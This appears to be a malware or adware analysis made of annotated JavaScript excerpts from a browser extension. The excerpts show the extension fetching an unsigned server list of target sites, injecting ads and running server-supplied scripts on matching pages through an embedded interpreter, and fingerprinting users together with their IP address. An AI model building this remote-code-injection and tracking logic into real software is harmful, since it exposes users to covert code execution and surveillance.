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// evalCore is loaded from js/umd.js — an acorn+Babel-based JS interpreterconst { evalModule, getEvalInstance } = evalCore;const Interpreter = evalModule.Interpreter;// Give the interpreter access to the page's window objectInterpreter.global = window;new Interpreter(); // bootstrap// window.evil is now a callable that evaluates strings as JSwindow.evil = getEvalInstance(window);

// For each content block returned by /fddqa:if (contentBlock.script) {  // Inject the HTML template into the target DOM element first  $(targetElement)[contentBlock.append_type](renderedTemplate);  if (contentBlock.style) {    $(targetElement)[contentBlock.append_type](contentBlock.style);  }  // Execute the server-supplied JavaScript via the sandboxed interpreter  evil(contentBlock.script);  break;}

// getServerUrls() — fetches injection scope from serverasync function getServerUrls() {  const cachedUrls = await getStorage('urls');    // existing config if any  let uuid = await getStorage('uuid');  if (!uuid) uuid = await yhc_get_uuid();          // generate if missing  const payload = {};  if (cachedUrls) {    // send back server's own values to identify the user's region/IP    payload.pver  = cachedUrls.version;    payload.area  = cachedUrls.area;    payload.ip    = cachedUrls.ip;  }  payload.uuid = uuid;  payload.t    = getTime(); // current timestamp  // POST to /version — no signature, no integrity check  const response = await httpSync({ url: '/version', type: 'post', data: payload });  // Cache the response's injection scope list directly  await setStorage({ urls: response.data });  return response.data;}

// In contentScript.js — runs on every page navigationconst config = await getStorage('urls');      // server-supplied scope listconst urlList  = config.urls;                  // domain → [{ path, eid, pid }]const domainList = config.domain_list;         // additional platform hintsif (domainList) getEcommercePlatform({ hosts: domainList });const currentPath = window.location.href.replace(window.location.origin, '');for (const domain of Object.keys(urlList)) {  if (window.location.origin.includes(domain)) {    for (const entry of urlList[domain]) {      // Convert glob-style path to regex      let pattern = entry.path.replace(/\*$/, '\\S+').replace(/\/$/,'').replace(/\*/g,'[^\\s/]+');      if (new RegExp(pattern, 'gi').test(currentPath)) {        shouldInject = true;        eid = entry.eid;   // ad campaign ID        pid = entry.pid;   // publisher ID        break;      }    }  }}

// yhc_get_uuid() — runs once on first install if no UUID stored yetconst installTimestamp = Math.round(new Date()); // milliseconds// Wait for browser idle, then fetch IP and fingerprintrequestIdleCallback(() => {  // Step 1: fetch external IP  httpSync({ url: '/ip', baseUrl: 'https://api.yhchj.com' })    .then(ipResponse => {      // Step 2: collect browser fingerprint attributes      Fingerprint2.get(        { excludes: { enumerateDevices: true, fontsFlash: true, deviceMemory: true } },        (components) => {          // Step 3: append IP to the fingerprint array          components.push({ key: 'ip', value: ipResponse.data });          const values = components.map(c => c.value);          // Step 4: hash everything into a 128-bit fingerprint          const hash = Fingerprint2.x64hash128(values.join(''), 31);          const uuid = hash + '.' + installTimestamp;          // Step 5: persist permanently          setStorage({ uuid: uuid });          resolve(uuid);        }      );    });}, { timeout: 500 });